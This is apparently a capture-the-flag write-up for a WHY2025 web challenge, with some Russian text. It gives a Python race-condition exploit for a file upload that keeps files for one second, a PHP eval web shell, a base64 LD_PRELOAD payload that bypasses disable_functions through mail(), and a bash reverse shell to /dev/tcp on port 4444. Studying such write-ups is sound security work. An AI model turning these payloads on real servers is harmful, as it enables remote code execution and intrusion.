The task allowed you to upload arbitrary files, which were scanned and then deleted. As I later found out by reading the source files, the file was saved, the server waited 1 second, and then deleted it.
1 second is enough to access the file using a request. The exploit for this is as follows
import requests as r
import threading
import time
url = "https://why2025planning.ctf.zone/"
USERNAME = 'qwe'
PASSWORD = 'qwe'
FILENAME = 'payload.php'
# ----------------------
# Функции
# ----------------------
def login(username, password):
s = r.Session()
s.verify = False
res = s.post(url + "login.php", data={
'username': username,
'password': password
})
if 'Login' in res.text:
return None
return s
def download_file(s, fname):
with open('./payload.php', 'rb') as f:
res = s.post(url + 'upload.php', files={
'file': (fname, f)
}, proxies={'https': 'http://127.0.0.1:8080'})
print("[UPLOAD] Done" if res.ok else "[UPLOAD] Failed")
return res.ok
def execute_file(s, fname, payload, stop_event):
while not stop_event.is_set():
try:
res = s.get(url + 'uploads/' + fname, params={'c': payload},
proxies={'https': 'http://127.0.0.1:8080'}, timeout=1)
print(f"[EXEC] Response: {res.text.strip()}")
except Exception as e:
print(f"[EXEC] Error: {e}")
time.sleep(0.2)
if __name__ == "__main__":
s = login(USERNAME, PASSWORD)
if not s:
print("Login failed")
exit()
stop_event = threading.Event()
threads = []
for _ in range(7):
t = threading.Thread(target=execute_file,
args=(s, FILENAME, '''var_dump(scandir('./'));''', stop_event))
t.start()
threads.append(t)
time.sleep(1)
if download_file(s, FILENAME):
time.sleep(2)
stop_event.set()
for t in threads:
t.join()
print("[DONE]")And payload.php was used as the base file that would execute the payload passed to it.
<?php eval($_GET['a']); >На данном этапе при передаче параметров запроса вида
/payload.php?a=scandir('./');However, apart from basic functions such as scandir(),getent(), nothing else worked. All functions calling the shell were disabled, and basic loads for the PHP shell were disabled.
I didn’t check, but probably something like this was written in php.ini
disable_functions = exec,system,shell_exec,passthru,proc_open,popen,eval,assert,pcntl_exec,dlAnother complication was that the file we were uploading only existed for 1 second.
At that moment, a teammate suggested a load that could bypass the existing limitations.
POST /anas.php?c=eval($_POST['a']); HTTP/1.1
Host: why2025planning.ctf.zone
Content-Length: 12265
content-type: application/x-www-form-urlencoded
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decode the transmitted payload and figure out what it does.
$hook = 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$meterpreter = 'IyEvYmluL2Jhc2gKYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzQ0NDQgMD4mMSI=';
file_put_contents('/var/www/why2025planner/chankro.so', base64_decode($hook));
file_put_contents('/var/www/why2025planner/acpid.socket', base64_decode($meterpreter));
putenv('CHANKRO=/var/www/why2025planner/acpid.socket');
putenv('LD_PRELOAD=/var/www/why2025planner/chankro.so');
mail('a','a','a','a')As we can see, two files are created in the specified directory.
The reverse shell code is written to the acpid.socket file.
#!/bin/bash
bash -c "bash -i >& /dev/tcp/x.x.x.x/4444 0>&1"In turn, a binary file is written to chankro.so.
I decompiled it, and it actually looks like this
int64_t pwn()
{
chmod(getenv("CHANKRO"), 0x1ff);
return system(getenv("CHANKRO"));
}
int64_t preloadme()
{
unsetenv("LD_PRELOAD");
daemonize();
return pwn();
}unsetenv removes the LD_PRELOAD variable from the environment. This is necessary to avoid recursion or conflicts: if LD_PRELOAD remains, then when new processes are launched (for example, via system()), our library will be loaded again, which can cause a loop or crash.
daemonize(); switches the process to run as a separate process, detaching it from the terminal.
The acpid.socket file is given execution permission and is executed. This way, the shell is launched in a separate process.
Next, env variables are created with these files. And LD_PRELOAD is triggered by calling mail().